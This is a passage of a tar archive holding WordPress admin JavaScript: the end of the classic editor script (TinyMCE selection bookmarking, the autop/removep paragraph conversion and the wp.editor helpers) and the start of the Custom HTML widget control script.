			 * a new node, which is inserted in the dom. Now this will be fine, if we worked with fixed selections to
			 * full nodes. Unfortunately in our case, the user can select whatever they like, which means that the
			 * selection may start in the middle of one node and end in the middle of a completely different one. If we
			 * wrap the selection in another node, this will create artifacts in the content.
			 *
			 * Using the method below, we insert the custom `span` nodes at the start and at the end of the selection.
			 * This helps us not break the content and also gives us the option to work with multi-node selections without
			 * breaking the markup.
			 */
			var range = selection.getRangeAt( 0 ),
				startNode = range.startContainer,
				startOffset = range.startOffset,
				boundaryRange = range.cloneRange();

			/**
			 * If the selection is on a shortcode with Live View, TinyMCE creates a bogus markup,
			 * which we have to account for.
			 */
			if ( editor.$( startNode ).parents( '.mce-offscreen-selection' ).length > 0 ) {
				startNode = editor.$( '[data-mce-selected]' )[0];

				/**
				 * Marking the start and end element with `data-mce-object-selection` helps
				 * discern when the selected object is a Live Preview selection.
				 *
				 * This way we can adjust the selection to properly select only the content, ignoring
				 * whitespace inserted around the selected object by the Editor.
				 */
				startElement.attr( 'data-mce-object-selection', 'true' );
				endElement.attr( 'data-mce-object-selection', 'true' );

				editor.$( startNode ).before( startElement[0] );
				editor.$( startNode ).after( endElement[0] );
			} else {
				boundaryRange.collapse( false );
				boundaryRange.insertNode( endElement[0] );

				boundaryRange.setStart( startNode, startOffset );
				boundaryRange.collapse( true );
				boundaryRange.insertNode( startElement[0] );

				range.setStartAfter( startElement[0] );
				range.setEndBefore( endElement[0] );
				selection.removeAllRanges();
				selection.addRange( range );
			}

			/**
			 * Now the editor's content has the start/end nodes.
			 *
			 * Unfortunately the content goes through some more changes after this step, before it gets inserted
			 * in the `textarea`. This means that we have to do some minor cleanup on our own here.
			 */
			editor.on( 'GetContent', fixTextAreaContent );

			var content = removep( editor.getContent() );

			editor.off( 'GetContent', fixTextAreaContent );

			startElement.remove();
			endElement.remove();

			var startRegex = new RegExp(
				'<span[^>]*\\s*class="mce_SELRES_start"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>(\\s*)'
			);

			var endRegex = new RegExp(
				'(\\s*)<span[^>]*\\s*class="mce_SELRES_end"[^>]+>\\s*' + selectionID + '[^<]*<\\/span>'
			);

			var startMatch = content.match( startRegex ),
				endMatch = content.match( endRegex );

			if ( ! startMatch ) {
				return null;
			}

			var startIndex = startMatch.index,
				startMatchLength = startMatch[0].length,
				endIndex = null;

			if (endMatch) {
				/**
				 * Adjust the selection index, if the selection contains a Live Preview object or not.
				 *
				 * Check where the `data-mce-object-selection` attribute is set above for more context.
				 */
				if ( startMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
					startMatchLength -= startMatch[1].length;
				}

				var endMatchIndex = endMatch.index;

				if ( endMatch[0].indexOf( 'data-mce-object-selection' ) !== -1 ) {
					endMatchIndex -= endMatch[1].length;
				}

				// We need to adjust the end position to discard the length of the range start marker.
				endIndex = endMatchIndex - startMatchLength;
			}

			return {
				start: startIndex,
				end: endIndex
			};
		}

		/**
		 * Selects text in the TinyMCE `textarea`.
		 *
		 * Selects the text in TinyMCE's textarea that's between `selection.start` and `selection.end`.
		 *
		 * For `selection` parameter:
		 * @link findBookmarkedPosition
		 *
		 * @param {Object} editor TinyMCE's editor instance.
		 * @param {Object} selection Selection data.
		 */
		function selectTextInTextArea( editor, selection ) {
			// Only valid in the text area mode and if we have selection.
			if ( ! selection ) {
				return;
			}

			var textArea = editor.getElement(),
				start = selection.start,
				end = selection.end || selection.start;

			if ( textArea.focus ) {
				// Wait for the Visual editor to be hidden, then focus and scroll to the position.
				setTimeout( function() {
					textArea.setSelectionRange( start, end );
					if ( textArea.blur ) {
						// Defocus before focusing.
						textArea.blur();
					}
					textArea.focus();
				}, 100 );
			}
		}

		// Restore the selection when the editor is initialized. Needed when the Text editor is the default.
		$( document ).on( 'tinymce-editor-init.keep-scroll-position', function( event, editor ) {
			if ( editor.$( '.mce_SELRES_start' ).length ) {
				focusHTMLBookmarkInVisualEditor( editor );
			}
		} );

		/**
		 * Replaces <p> tags with two line breaks. "Opposite" of wpautop().
		 *
		 * Replaces <p> tags with two line breaks except where the <p> has attributes.
		 * Unifies whitespace.
		 * Indents <li>, <dt> and <dd> for better readability.
		 *
		 * @since 2.5.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} html The content from the editor.
		 * @return {string} The content with stripped paragraph tags.
		 */
		function removep( html ) {
			var blocklist = 'blockquote|ul|ol|li|dl|dt|dd|table|thead|tbody|tfoot|tr|th|td|h[1-6]|fieldset|figure',
				blocklist1 = blocklist + '|div|p',
				blocklist2 = blocklist + '|pre',
				preserve_linebreaks = false,
				preserve_br = false,
				preserve = [];

			if ( ! html ) {
				return '';
			}

			// Protect script and style tags.
			if ( html.indexOf( '<script' ) !== -1 || html.indexOf( '<style' ) !== -1 ) {
				html = html.replace( /<(script|style)[^>]*>[\s\S]*?<\/\1>/g, function( match ) {
					preserve.push( match );
					return '<wp-preserve>';
				} );
			}

			// Protect pre tags.
			if ( html.indexOf( '<pre' ) !== -1 ) {
				preserve_linebreaks = true;
				html = html.replace( /<pre[^>]*>[\s\S]+?<\/pre>/g, function( a ) {
					a = a.replace( /<br ?\/?>(\r\n|\n)?/g, '<wp-line-break>' );
					a = a.replace( /<\/?p( [^>]*)?>(\r\n|\n)?/g, '<wp-line-break>' );
					return a.replace( /\r?\n/g, '<wp-line-break>' );
				});
			}

			// Remove line breaks but keep <br> tags inside image captions.
			if ( html.indexOf( '[caption' ) !== -1 ) {
				preserve_br = true;
				html = html.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
					return a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' ).replace( /[\r\n\t]+/, '' );
				});
			}

			// Normalize white space characters before and after block tags.
			html = html.replace( new RegExp( '\\s*</(' + blocklist1 + ')>\\s*', 'g' ), '</$1>\n' );
			html = html.replace( new RegExp( '\\s*<((?:' + blocklist1 + ')(?: [^>]*)?)>', 'g' ), '\n<$1>' );

			// Mark </p> if it has any attributes.
			html = html.replace( /(<p [^>]+>.*?)<\/p>/g, '$1</p#>' );

			// Preserve the first <p> inside a <div>.
			html = html.replace( /<div( [^>]*)?>\s*<p>/gi, '<div$1>\n\n' );

			// Remove paragraph tags.
			html = html.replace( /\s*<p>/gi, '' );
			html = html.replace( /\s*<\/p>\s*/gi, '\n\n' );

			// Normalize white space chars and remove multiple line breaks.
			html = html.replace( /\n[\s\u00a0]+\n/g, '\n\n' );

			// Replace <br> tags with line breaks.
			html = html.replace( /(\s*)<br ?\/?>\s*/gi, function( match, space ) {
				if ( space && space.indexOf( '\n' ) !== -1 ) {
					return '\n\n';
				}

				return '\n';
			});

			// Fix line breaks around <div>.
			html = html.replace( /\s*<div/g, '\n<div' );
			html = html.replace( /<\/div>\s*/g, '</div>\n' );

			// Fix line breaks around caption shortcodes.
			html = html.replace( /\s*\[caption([^\[]+)\[\/caption\]\s*/gi, '\n\n[caption$1[/caption]\n\n' );
			html = html.replace( /caption\]\n\n+\[caption/g, 'caption]\n\n[caption' );

			// Pad block elements tags with a line break.
			html = html.replace( new RegExp('\\s*<((?:' + blocklist2 + ')(?: [^>]*)?)\\s*>', 'g' ), '\n<$1>' );
			html = html.replace( new RegExp('\\s*</(' + blocklist2 + ')>\\s*', 'g' ), '</$1>\n' );

			// Indent <li>, <dt> and <dd> tags.
			html = html.replace( /<((li|dt|dd)[^>]*)>/g, ' \t<$1>' );

			// Fix line breaks around <select> and <option>.
			if ( html.indexOf( '<option' ) !== -1 ) {
				html = html.replace( /\s*<option/g, '\n<option' );
				html = html.replace( /\s*<\/select>/g, '\n</select>' );
			}

			// Pad <hr> with two line breaks.
			if ( html.indexOf( '<hr' ) !== -1 ) {
				html = html.replace( /\s*<hr( [^>]*)?>\s*/g, '\n\n<hr$1>\n\n' );
			}

			// Remove line breaks in <object> tags.
			if ( html.indexOf( '<object' ) !== -1 ) {
				html = html.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
					return a.replace( /[\r\n]+/g, '' );
				});
			}

			// Unmark special paragraph closing tags.
			html = html.replace( /<\/p#>/g, '</p>\n' );

			// Pad remaining <p> tags whit a line break.
			html = html.replace( /\s*(<p [^>]+>[\s\S]*?<\/p>)/g, '\n$1' );

			// Trim.
			html = html.replace( /^\s+/, '' );
			html = html.replace( /[\s\u00a0]+$/, '' );

			if ( preserve_linebreaks ) {
				html = html.replace( /<wp-line-break>/g, '\n' );
			}

			if ( preserve_br ) {
				html = html.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
			}

			// Restore preserved tags.
			if ( preserve.length ) {
				html = html.replace( /<wp-preserve>/g, function() {
					return preserve.shift();
				} );
			}

			return html;
		}

		/**
		 * Replaces two line breaks with a paragraph tag and one line break with a <br>.
		 *
		 * Similar to `wpautop()` in formatting.php.
		 *
		 * @since 2.5.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} text The text input.
		 * @return {string} The formatted text.
		 */
		function autop( text ) {
			var preserve_linebreaks = false,
				preserve_br = false,
				blocklist = 'table|thead|tfoot|caption|col|colgroup|tbody|tr|td|th|div|dl|dd|dt|ul|ol|li|pre' +
					'|form|map|area|blockquote|address|math|style|p|h[1-6]|hr|fieldset|legend|section' +
					'|article|aside|hgroup|header|footer|nav|figure|figcaption|details|menu|summary';

			// Normalize line breaks.
			text = text.replace( /\r\n|\r/g, '\n' );

			// Remove line breaks from <object>.
			if ( text.indexOf( '<object' ) !== -1 ) {
				text = text.replace( /<object[\s\S]+?<\/object>/g, function( a ) {
					return a.replace( /\n+/g, '' );
				});
			}

			// Remove line breaks from tags.
			text = text.replace( /<[^<>]+>/g, function( a ) {
				return a.replace( /[\n\t ]+/g, ' ' );
			});

			// Preserve line breaks in <pre> and <script> tags.
			if ( text.indexOf( '<pre' ) !== -1 || text.indexOf( '<script' ) !== -1 ) {
				preserve_linebreaks = true;
				text = text.replace( /<(pre|script)[^>]*>[\s\S]*?<\/\1>/g, function( a ) {
					return a.replace( /\n/g, '<wp-line-break>' );
				});
			}

			if ( text.indexOf( '<figcaption' ) !== -1 ) {
				text = text.replace( /\s*(<figcaption[^>]*>)/g, '$1' );
				text = text.replace( /<\/figcaption>\s*/g, '</figcaption>' );
			}

			// Keep <br> tags inside captions.
			if ( text.indexOf( '[caption' ) !== -1 ) {
				preserve_br = true;

				text = text.replace( /\[caption[\s\S]+?\[\/caption\]/g, function( a ) {
					a = a.replace( /<br([^>]*)>/g, '<wp-temp-br$1>' );

					a = a.replace( /<[^<>]+>/g, function( b ) {
						return b.replace( /[\n\t ]+/, ' ' );
					});

					return a.replace( /\s*\n\s*/g, '<wp-temp-br />' );
				});
			}

			text = text + '\n\n';
			text = text.replace( /<br \/>\s*<br \/>/gi, '\n\n' );

			// Pad block tags with two line breaks.
			text = text.replace( new RegExp( '(<(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '\n\n$1' );
			text = text.replace( new RegExp( '(</(?:' + blocklist + ')>)', 'gi' ), '$1\n\n' );
			text = text.replace( /<hr( [^>]*)?>/gi, '<hr$1>\n\n' );

			// Remove white space chars around <option>.
			text = text.replace( /\s*<option/gi, '<option' );
			text = text.replace( /<\/option>\s*/gi, '</option>' );

			// Normalize multiple line breaks and white space chars.
			text = text.replace( /\n\s*\n+/g, '\n\n' );

			// Convert two line breaks to a paragraph.
			text = text.replace( /([\s\S]+?)\n\n/g, '<p>$1</p>\n' );

			// Remove empty paragraphs.
			text = text.replace( /<p>\s*?<\/p>/gi, '');

			// Remove <p> tags that are around block tags.
			text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );
			text = text.replace( /<p>(<li.+?)<\/p>/gi, '$1');

			// Fix <p> in blockquotes.
			text = text.replace( /<p>\s*<blockquote([^>]*)>/gi, '<blockquote$1><p>');
			text = text.replace( /<\/blockquote>\s*<\/p>/gi, '</p></blockquote>');

			// Remove <p> tags that are wrapped around block tags.
			text = text.replace( new RegExp( '<p>\\s*(</?(?:' + blocklist + ')(?: [^>]*)?>)', 'gi' ), '$1' );
			text = text.replace( new RegExp( '(</?(?:' + blocklist + ')(?: [^>]*)?>)\\s*</p>', 'gi' ), '$1' );

			text = text.replace( /(<br[^>]*>)\s*\n/gi, '$1' );

			// Add <br> tags.
			text = text.replace( /\s*\n/g, '<br />\n');

			// Remove <br> tags that are around block tags.
			text = text.replace( new RegExp( '(</?(?:' + blocklist + ')[^>]*>)\\s*<br />', 'gi' ), '$1' );
			text = text.replace( /<br \/>(\s*<\/?(?:p|li|div|dl|dd|dt|th|pre|td|ul|ol)>)/gi, '$1' );

			// Remove <p> and <br> around captions.
			text = text.replace( /(?:<p>|<br ?\/?>)*\s*\[caption([^\[]+)\[\/caption\]\s*(?:<\/p>|<br ?\/?>)*/gi, '[caption$1[/caption]' );

			// Make sure there is <p> when there is </p> inside block tags that can contain other blocks.
			text = text.replace( /(<(?:div|th|td|form|fieldset|dd)[^>]*>)(.*?)<\/p>/g, function( a, b, c ) {
				if ( c.match( /<p( [^>]*)?>/ ) ) {
					return a;
				}

				return b + '<p>' + c + '</p>';
			});

			// Restore the line breaks in <pre> and <script> tags.
			if ( preserve_linebreaks ) {
				text = text.replace( /<wp-line-break>/g, '\n' );
			}

			// Restore the <br> tags in captions.
			if ( preserve_br ) {
				text = text.replace( /<wp-temp-br([^>]*)>/g, '<br$1>' );
			}

			return text;
		}

		/**
		 * Fires custom jQuery events `beforePreWpautop` and `afterPreWpautop` when jQuery is available.
		 *
		 * @since 2.9.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} html The content from the visual editor.
		 * @return {string} the filtered content.
		 */
		function pre_wpautop( html ) {
			var obj = { o: exports, data: html, unfiltered: html };

			if ( $ ) {
				$( 'body' ).trigger( 'beforePreWpautop', [ obj ] );
			}

			obj.data = removep( obj.data );

			if ( $ ) {
				$( 'body' ).trigger( 'afterPreWpautop', [ obj ] );
			}

			return obj.data;
		}

		/**
		 * Fires custom jQuery events `beforeWpautop` and `afterWpautop` when jQuery is available.
		 *
		 * @since 2.9.0
		 *
		 * @memberof switchEditors
		 *
		 * @param {string} text The content from the text editor.
		 * @return {string} filtered content.
		 */
		function wpautop( text ) {
			var obj = { o: exports, data: text, unfiltered: text };

			if ( $ ) {
				$( 'body' ).trigger( 'beforeWpautop', [ obj ] );
			}

			obj.data = autop( obj.data );

			if ( $ ) {
				$( 'body' ).trigger( 'afterWpautop', [ obj ] );
			}

			return obj.data;
		}

		if ( $ ) {
			$( init );
		} else if ( document.addEventListener ) {
			document.addEventListener( 'DOMContentLoaded', init, false );
			window.addEventListener( 'load', init, false );
		} else if ( window.attachEvent ) {
			window.attachEvent( 'onload', init );
			document.attachEvent( 'onreadystatechange', function() {
				if ( 'complete' === document.readyState ) {
					init();
				}
			} );
		}

		wp.editor.autop = wpautop;
		wp.editor.removep = pre_wpautop;

		exports = {
			go: switchEditor,
			wpautop: wpautop,
			pre_wpautop: pre_wpautop,
			_wp_Autop: autop,
			_wp_Nop: removep
		};

		return exports;
	}

	/**
	 * Expose the switch editors to be used globally.
	 *
	 * @namespace switchEditors
	 */
	window.switchEditors = new SwitchEditors();

	/**
	 * Initialize TinyMCE and/or Quicktags. For use with wp_enqueue_editor() (PHP).
	 *
	 * Intended for use with an existing textarea that will become the Text editor tab.
	 * The editor width will be the width of the textarea container, height will be adjustable.
	 *
	 * Settings for both TinyMCE and Quicktags can be passed on initialization, and are "filtered"
	 * with custom jQuery events on the document element, wp-before-tinymce-init and wp-before-quicktags-init.
	 *
	 * @since 4.8.0
	 *
	 * @param {string} id The HTML id of the textarea that is used for the editor.
	 *                    Has to be jQuery compliant. No brackets, special chars, etc.
	 * @param {Object} settings Example:
	 * settings = {
	 *    // See https://www.tinymce.com/docs/configure/integration-and-setup/.
	 *    // Alternatively set to `true` to use the defaults.
	 *    tinymce: {
	 *        setup: function( editor ) {
	 *            console.log( 'Editor initialized', editor );
	 *        }
	 *    }
	 *
	 *    // Alternatively set to `true` to use the defaults.
	 *	  quicktags: {
	 *        buttons: 'strong,em,link'
	 *    }
	 * }
	 */
	wp.editor.initialize = function( id, settings ) {
		var init;
		var defaults;

		if ( ! $ || ! id || ! wp.editor.getDefaultSettings ) {
			return;
		}

		defaults = wp.editor.getDefaultSettings();

		// Initialize TinyMCE by default.
		if ( ! settings ) {
			settings = {
				tinymce: true
			};
		}

		// Add wrap and the Visual|Text tabs.
		if ( settings.tinymce && settings.quicktags ) {
			var $textarea = $( '#' + id );

			var $wrap = $( '<div>' ).attr( {
					'class': 'wp-core-ui wp-editor-wrap tmce-active',
					id: 'wp-' + id + '-wrap'
				} );

			var $editorContainer = $( '<div class="wp-editor-container">' );

			var $button = $( '<button>' ).attr( {
					type: 'button',
					'data-wp-editor-id': id
				} );

			var $editorTools = $( '<div class="wp-editor-tools">' );

			if ( settings.mediaButtons ) {
				var buttonText = 'Add Media';

				if ( window._wpMediaViewsL10n && window._wpMediaViewsL10n.addMedia ) {
					buttonText = window._wpMediaViewsL10n.addMedia;
				}

				var $addMediaButton = $( '<button type="button" class="button insert-media add_media">' );

				$addMediaButton.append( '<span class="wp-media-buttons-icon"></span>' );
				$addMediaButton.append( document.createTextNode( ' ' + buttonText ) );
				$addMediaButton.data( 'editor', id );

				$editorTools.append(
					$( '<div class="wp-media-buttons">' )
						.append( $addMediaButton )
				);
			}

			$wrap.append(
				$editorTools
					.append( $( '<div class="wp-editor-tabs">' )
						.append( $button.clone().attr({
							id: id + '-tmce',
							'class': 'wp-switch-editor switch-tmce'
						}).text( window.tinymce.translate( 'Visual' ) ) )
						.append( $button.attr({
							id: id + '-html',
							'class': 'wp-switch-editor switch-html'
						}).text( window.tinymce.translate( 'Text' ) ) )
					).append( $editorContainer )
			);

			$textarea.after( $wrap );
			$editorContainer.append( $textarea );
		}

		if ( window.tinymce && settings.tinymce ) {
			if ( typeof settings.tinymce !== 'object' ) {
				settings.tinymce = {};
			}

			init = $.extend( {}, defaults.tinymce, settings.tinymce );
			init.selector = '#' + id;

			$( document ).trigger( 'wp-before-tinymce-init', init );
			window.tinymce.init( init );

			if ( ! window.wpActiveEditor ) {
				window.wpActiveEditor = id;
			}
		}

		if ( window.quicktags && settings.quicktags ) {
			if ( typeof settings.quicktags !== 'object' ) {
				settings.quicktags = {};
			}

			init = $.extend( {}, defaults.quicktags, settings.quicktags );
			init.id = id;

			$( document ).trigger( 'wp-before-quicktags-init', init );
			window.quicktags( init );

			if ( ! window.wpActiveEditor ) {
				window.wpActiveEditor = init.id;
			}
		}
	};

	/**
	 * Remove one editor instance.
	 *
	 * Intended for use with editors that were initialized with wp.editor.initialize().
	 *
	 * @since 4.8.0
	 *
	 * @param {string} id The HTML id of the editor textarea.
	 */
	wp.editor.remove = function( id ) {
		var mceInstance, qtInstance,
			$wrap = $( '#wp-' + id + '-wrap' );

		if ( window.tinymce ) {
			mceInstance = window.tinymce.get( id );

			if ( mceInstance ) {
				if ( ! mceInstance.isHidden() ) {
					mceInstance.save();
				}

				mceInstance.remove();
			}
		}

		if ( window.quicktags ) {
			qtInstance = window.QTags.getInstance( id );

			if ( qtInstance ) {
				qtInstance.remove();
			}
		}

		if ( $wrap.length ) {
			$wrap.after( $( '#' + id ) );
			$wrap.remove();
		}
	};

	/**
	 * Get the editor content.
	 *
	 * Intended for use with editors that were initialized with wp.editor.initialize().
	 *
	 * @since 4.8.0
	 *
	 * @param {string} id The HTML id of the editor textarea.
	 * @return The editor content.
	 */
	wp.editor.getContent = function( id ) {
		var editor;

		if ( ! $ || ! id ) {
			return;
		}

		if ( window.tinymce ) {
			editor = window.tinymce.get( id );

			if ( editor && ! editor.isHidden() ) {
				editor.save();
			}
		}

		return $( '#' + id ).val();
	};

}( window.jQuery, window.wp ));
custom-html-widgets.js.tar000064400000042000150276633110011607 0ustar00home/natitnen/crestassured.com/wp-admin/js/widgets/custom-html-widgets.js000064400000036625150276476120022702 0ustar00/**
 * @output wp-admin/js/widgets/custom-html-widgets.js
 */

/* global wp */
/* eslint consistent-this: [ "error", "control" ] */
/* eslint no-magic-numbers: ["error", { "ignore": [0,1,-1] }] */

/**
 * @namespace wp.customHtmlWidget
 * @memberOf wp
 */
wp.customHtmlWidgets = ( function( $ ) {
	'use strict';

	var component = {
		idBases: [ 'custom_html' ],
		codeEditorSettings: {},
		l10n: {
			errorNotice: {
				singular: '',
				plural: ''
			}
		}
	};

	component.CustomHtmlWidgetControl = Backbone.View.extend(/** @lends wp.customHtmlWidgets.CustomHtmlWidgetControl.prototype */{

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {},

		/**
		 * Text widget control.
		 *
		 * @constructs wp.customHtmlWidgets.CustomHtmlWidgetControl
		 * @augments Backbone.View
		 * @abstract
		 *
		 * @param {Object} options - Options.
		 * @param {jQuery} options.el - Control field container element.
		 * @param {jQuery} options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			Backbone.View.prototype.initialize.call( control, options );
			control.syncContainer = options.syncContainer;
			control.widgetIdBase = control.syncContainer.parent().find( '.id_base' ).val();
			control.widgetNumber = control.syncContainer.parent().find( '.widget_number' ).val();
			control.customizeSettingId = 'widget_' + control.widgetIdBase + '[' + String( control.widgetNumber ) + ']';

			control.$el.addClass( 'custom-html-widget-fields' );
			control.$el.html( wp.template( 'widget-custom-html-control-fields' )( { codeEditorDisabled: component.codeEditorSettings.disabled } ) );

			control.errorNoticeContainer = control.$el.find( '.code-editor-error-container' );
			control.currentErrorAnnotations = [];
			control.saveButton = control.syncContainer.add( control.syncContainer.parent().find( '.widget-control-actions' ) ).find( '.widget-control-save, #savewidget' );
			control.saveButton.addClass( 'custom-html-widget-save-button' ); // To facilitate style targeting.

			control.fields = {
				title: control.$el.find( '.title' ),
				content: control.$el.find( '.content' )
			};

			// Sync input fields to hidden sync fields which actually get sent to the server.
			_.each( control.fields, function( fieldInput, fieldName ) {
				fieldInput.on( 'input change', function updateSyncField() {
					var syncInput = control.syncContainer.find( '.sync-input.' + fieldName );
					if ( syncInput.val() !== fieldInput.val() ) {
						syncInput.val( fieldInput.val() );
						syncInput.trigger( 'change' );
					}
				});

				// Note that syncInput cannot be re-used because it will be destroyed with each widget-updated event.
				fieldInput.val( control.syncContainer.find( '.sync-input.' + fieldName ).val() );
			});
		},

		/**
		 * Update input fields from the sync fields.
		 *
		 * This function is called at the widget-updated and widget-synced events.
		 * A field will only be updated if it is not currently focused, to avoid
		 * overwriting content that the user is entering.
		 *
		 * @return {void}
		 */
		updateFields: function updateFields() {
			var control = this, syncInput;

			if ( ! control.fields.title.is( document.activeElement ) ) {
				syncInput = control.syncContainer.find( '.sync-input.title' );
				control.fields.title.val( syncInput.val() );
			}

			/*
			 * Prevent updating content when the editor is focused or if there are current error annotations,
			 * to prevent the editor's contents from getting sanitized as soon as a user removes focus from
			 * the editor. This is particularly important for users who cannot unfiltered_html.
			 */
			control.contentUpdateBypassed = control.fields.content.is( document.activeElement ) || control.editor && control.editor.codemirror.state.focused || 0 !== control.currentErrorAnnotations.length;
			if ( ! control.contentUpdateBypassed ) {
				syncInput = control.syncContainer.find( '.sync-input.content' );
				control.fields.content.val( syncInput.val() );
			}
		},

		/**
		 * Show linting error notice.
		 *
		 * @param {Array} errorAnnotations - Error annotations.
		 * @return {void}
		 */
		updateErrorNotice: function( errorAnnotations ) {
			var control = this, errorNotice, message = '', customizeSetting;

			if ( 1 === errorAnnotations.length ) {
				message = component.l10n.errorNotice.singular.replace( '%d', '1' );
			} else if ( errorAnnotations.length > 1 ) {
				message = component.l10n.errorNotice.plural.replace( '%d', String( errorAnnotations.length ) );
			}

			if ( control.fields.content[0].setCustomValidity ) {
				control.fields.content[0].setCustomValidity( message );
			}

			if ( wp.customize && wp.customize.has( control.customizeSettingId ) ) {
				customizeSetting = wp.customize( control.customizeSettingId );
				customizeSetting.notifications.remove( 'htmlhint_error' );
				if ( 0 !== errorAnnotations.length ) {
					customizeSetting.notifications.add( 'htmlhint_error', new wp.customize.Notification( 'htmlhint_error', {
						message: message,
						type: 'error'
					} ) );
				}
			} else if ( 0 !== errorAnnotations.length ) {
				errorNotice = $( '<div class="inline notice notice-error notice-alt"></div>' );
				errorNotice.append( $( '<p></p>', {
					text: message
				} ) );
				control.errorNoticeContainer.empty();
				control.errorNoticeContainer.append( errorNotice );
				control.errorNoticeContainer.slideDown( 'fast' );
				wp.a11y.speak( message );
			} else {
				control.errorNoticeContainer.slideUp( 'fast' );
			}
		},

		/**
		 * Initialize editor.
		 *
		 * @return {void}
		 */
		initializeEditor: function initializeEditor() {
			var control = this, settings;

			if ( component.codeEditorSettings.disabled ) {
				return;
			}

			settings = _.extend( {}, component.codeEditorSettings, {

				/**
				 * Handle tabbing to the field before the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabPrevious: function onTabPrevious() {
					control.fields.title.focus();
				},

				/**
				 * Handle tabbing to the field after the editor.
				 *
				 * @ignore
				 *
				 * @return {void}
				 */
				onTabNext: function onTabNext() {
					var tabbables = control.syncContainer.add( control.syncContainer.parent().find( '.widget-position, .widget-control-actions' ) ).find( ':tabbable' );
					tabbables.first().focus();
				},

				/**
				 * Disable save button and store linting errors for use in updateFields.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error notifications.
				 * @return {void}
				 */
				onChangeLintingErrors: function onChangeLintingErrors( errorAnnotations ) {
					control.currentErrorAnnotations = errorAnnotations;
				},

				/**
				 * Update error notice.
				 *
				 * @ignore
				 *
				 * @param {Array} errorAnnotations - Error annotations.
				 * @return {void}
				 */
				onUpdateErrorNotice: function onUpdateErrorNotice( errorAnnotations ) {
					control.saveButton.toggleClass( 'validation-blocked disabled', errorAnnotations.length > 0 );
					control.updateErrorNotice( errorAnnotations );
				}
			});

			control.editor = wp.codeEditor.initialize( control.fields.content, settings );

			// Improve the editor accessibility.
			$( control.editor.codemirror.display.lineDiv )
				.attr({
					role: 'textbox',
					'aria-multiline': 'true',
					'aria-labelledby': control.fields.content[0].id + '-label',
					'aria-describedby': 'editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4'
				});

			// Focus the editor when clicking on its label.
			$( '#' + control.fields.content[0].id + '-label' ).on( 'click', function() {
				control.editor.codemirror.focus();
			});

			control.fields.content.on( 'change', function() {
				if ( this.value !== control.editor.codemirror.getValue() ) {
					control.editor.codemirror.setValue( this.value );
				}
			});
			control.editor.codemirror.on( 'change', function() {
				var value = control.editor.codemirror.getValue();
				if ( value !== control.fields.content.val() ) {
					control.fields.content.val( value ).trigger( 'change' );
				}
			});

			// Make sure the editor gets updated if the content was updated on the server (sanitization) but not updated in the editor since it was focused.
			control.editor.codemirror.on( 'blur', function() {
				if ( control.contentUpdateBypassed ) {
					control.syncContainer.find( '.sync-input.content' ).trigger( 'change' );
				}
			});

			// Prevent hitting Esc from collapsing the widget control.
			if ( wp.customize ) {
				control.editor.codemirror.on( 'keydown', function onKeydown( codemirror, event ) {
					var escKeyCode = 27;
					if ( escKeyCode === event.keyCode ) {
						event.stopPropagation();
					}
				});
			}
		}
	});

	/**
	 * Mapping of widget ID to instances of CustomHtmlWidgetControl subclasses.
	 *
	 * @alias wp.customHtmlWidgets.widgetControls
	 *
	 * @type {Object.<string, wp.textWidgets.CustomHtmlWidgetControl>}
	 */
	component.widgetControls = {};

	/**
	 * Handle widget being added or initialized for the first time at the widget-added event.
	 *
	 * @alias wp.customHtmlWidgets.handleWidgetAdded
	 *
	 * @param {jQuery.Event} event - Event.
	 * @param {jQuery}       widgetContainer - Widget container element.
	 *
	 * @return {void}
	 */
	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
		var widgetForm, idBase, widgetControl, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone, fieldContainer, syncContainer;
		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.

		idBase = widgetForm.find( '> .id_base' ).val();
		if ( -1 === component.idBases.indexOf( idBase ) ) {
			return;
		}

		// Prevent initializing already-added widgets.
		widgetId = widgetForm.find( '.widget-id' ).val();
		if ( component.widgetControls[ widgetId ] ) {
			return;
		}

		/*
		 * Create a container element for the widget control fields.
		 * This is inserted into the DOM immediately before the the .widget-content
		 * element because the contents of this element are essentially "managed"
		 * by PHP, where each widget update cause the entire element to be emptied
		 * and replaced with the rendered output of WP_Widget::form() which is
		 * sent back in Ajax request made to save/update the widget instance.
		 * To prevent a "flash of replaced DOM elements and re-initialized JS
		 * components", the JS template is rendered outside of the normal form
		 * container.
		 */
		fieldContainer = $( '<div></div>' );
		syncContainer = widgetContainer.find( '.widget-content:first' );
		syncContainer.before( fieldContainer );

		widgetControl = new component.CustomHtmlWidgetControl({
			el: fieldContainer,
			syncContainer: syncContainer
		});

		component.widgetControls[ widgetId ] = widgetControl;

		/*
		 * Render the widget once the widget parent's container finishes animating,
		 * as the widget-added event fires with a slideDown of the container.
		 * This ensures that the textarea is visible and the editor can be initialized.
		 */
		renderWhenAnimationDone = function() {
			if ( ! ( wp.customize ? widgetContainer.parent().hasClass( 'expanded' ) : widgetContainer.hasClass( 'open' ) ) ) { // Core merge: The wp.customize condition can be eliminated with this change being in core: https://github.com/xwp/wordpress-develop/pull/247/commits/5322387d
				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
			} else {
				widgetControl.initializeEditor();
			}
		};
		renderWhenAnimationDone();
	};

	/**
